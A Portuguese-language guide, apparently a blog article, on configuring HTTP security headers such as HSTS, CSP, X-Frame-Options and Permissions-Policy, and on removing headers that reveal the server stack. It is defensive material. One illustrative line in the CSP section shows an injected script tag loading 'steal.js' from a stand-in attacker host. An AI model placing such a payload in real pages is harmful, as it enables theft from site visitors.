Linhas de configuração no servidor bloqueiam clickjacking, XSS, MIME sniffing e SSL stripping: e outros headers que você provavelmente ainda tem ativo estão entregando sua stack tecnológica de bandeja para o atacante.
Cada resposta HTTP que seu servidor envia ao browser pode incluir instruções de segurança na forma de cabeçalhos: metadados que o browser lê antes de renderizar qualquer conteúdo. Esses cabeçalhos dizem ao browser o que ele tem permissão de fazer: se pode exibir a página em iframes, de quais origens pode carregar scripts, se deve forçar HTTPS, quais recursos de hardware pode acessar.
Sem esses cabeçalhos, o browser opera no modo mais permissivo possível: o padrão dos anos 90. Um atacante verifica a presença desses headers antes de qualquer outra ação. Um simples curl -I https://seusite.com.br revela em segundos o que está faltando.
Este artigo cobre duas categorias: headers que você deve adicionar (proteções) e headers que você deve remover (revelam informações sobre sua stack que facilitam ataques direcionados).
Sem HSTS, um atacante em posição de man-in-the-middle (rede Wi-Fi pública, DNS comprometido) pode interceptar a primeira requisição HTTP antes do redirect para HTTPS e operar como proxy transparente. O usuário vê HTTPS no browser, mas a conexão está sendo lida. Com HSTS, o browser rejeita qualquer conexão não-HTTPS pelo período especificado: sem depender de um redirect.
Atenção: certificado expirado com HSTS ativo bloqueia o acesso por toda a duração do max-age. Certifique-se de ter renovação automática configurada antes de usar valores longos. Comece com max-age=300 para testar.
Clickjacking: o atacante coloca seu site em um iframe invisível sobreposto a um botão ("Ganhe um prêmio"). O usuário clica no botão visível, mas o clique é registrado no iframe: acionando transferências, confirmações ou alterações de configuração no site real. A diretiva CSP frame-ancestors é o método moderno; X-Frame-Options é mantido para browsers mais antigos.
MIME sniffing: sem este header, browsers podem "adivinhar" o tipo de um arquivo baseado em seu conteúdo, ignorando o Content-Type declarado. Um arquivo .txt com conteúdo HTML pode ser renderizado como HTML. Se um atacante conseguir fazer upload de um arquivo com conteúdo malicioso, browsers vulneráveis podem executá-lo mesmo que o servidor declare MIME type inofensivo.
O CSP é o header mais poderoso: e o mais complexo de configurar. Ele define de quais origens scripts, estilos, fontes e imagens podem ser carregados, e pode desabilitar inline JavaScript completamente. Um XSS bem-sucedido que injeta <script src="attacker.com/steal.js"> é bloqueado se a CSP não permite origens externas para scripts.
Comece com Content-Security-Policy-Report-Only para monitorar violações sem bloquear nada. Mapeie o que precisa ser permitido. Só então ative a política real. Uma CSP mal configurada pode quebrar funcionalidades da aplicação.
Quando um usuário clica em link externo, o browser por padrão envia o URL completo da página atual no header Referer. Se a aplicação usa tokens ou identificadores na URL (ex.: /reset?token=abc123), esses valores aparecem nos logs de acesso do servidor externo. O header Referrer-Policy limita o que é enviado.
Browsers e proxies intermediários armazenam respostas HTTP em cache por padrão. Páginas com dados pessoais, resultados de busca de pacientes ou informações financeiras podem ser lidas por qualquer pessoa que acesse o mesmo browser ou proxy. no-store previne qualquer armazenamento; private permite cache apenas no browser do usuário.
Atenção à confusão comum: no-cache não impede o armazenamento: apenas exige revalidação antes de usar o cache. Para prevenir armazenamento de verdade, use no-store.
Um XSS bem-sucedido em site sem Permissions-Policy pode tentar acessar câmera, microfone, geolocalização ou APIs de pagamento em nome do usuário. Esse header permite declarar explicitamente quais APIs a aplicação usa e desabilitar todas as demais. Listas vazas significam acesso bloqueado.
Tão importante quanto adicionar headers de proteção é remover os headers que revelam informações sobre sua stack tecnológica. Um atacante que sabe que você usa Apache 2.4.29 no Ubuntu 18.04 com PHP 7.2 pode procurar CVEs específicos para essa combinação.
Revela servidor web e versão. Configure: ServerTokens Prod no Apache (retorna apenas "Apache"); server_tokens off no Nginx. Substitua por um valor genérico ou remova completamente.
Revela linguagem e versão. No PHP: expose_php = Off no php.ini. No Express/Node: app.disable('x-powered-by') ou use o middleware Helmet.
Revela versão do .NET. Desabilite com <httpRuntime enableVersionHeader="false" /> no web.config.
Revelado por alguns CMSs automaticamente. No WordPress, remova via plugin ou função no functions.php: remove_action('wp_head', 'wp_generator').
Este header ativava o filtro XSS embutido em browsers antigos (IE, Chrome até 2019). O problema: o filtro foi descoberto que podia ser manipulado por atacantes para causar comportamento incorreto em páginas que de outra forma seriam seguras. Todos os browsers modernos o ignoram ou já o removeram. Se você ainda tem este header, remova ou defina explicitamente X-XSS-Protection: 0 para desativar. Substitua por uma CSP adequada.
Exigia que browsers verificassem Certificate Transparency para o domínio. Hoje a CT é obrigatória para todos os certificados emitidos por CAs confiáveis: o header perdeu utilidade. Browsers modernos ignoram. Remova para evitar overhead desnecessário.
Pinava certificados específicos no browser, criando risco operacional severo: uma má configuração ou rotação de certificado poderia bloquear usuários permanentemente. Removido do Chrome em 2018, demais browsers seguiram. Se você ainda tem este header, remova imediatamente. Substitua por Certificate Transparency (CT) e registros CAA no DNS.
Headers presentes: você quer ver strict-transport-security, content-security-policy, x-frame-options, x-content-type-options, referrer-policy, permissions-policy, cache-control (em respostas com dados sensíveis).
Headers ausentes: você quer que server não revele versão, e x-powered-by não apareça na listagem.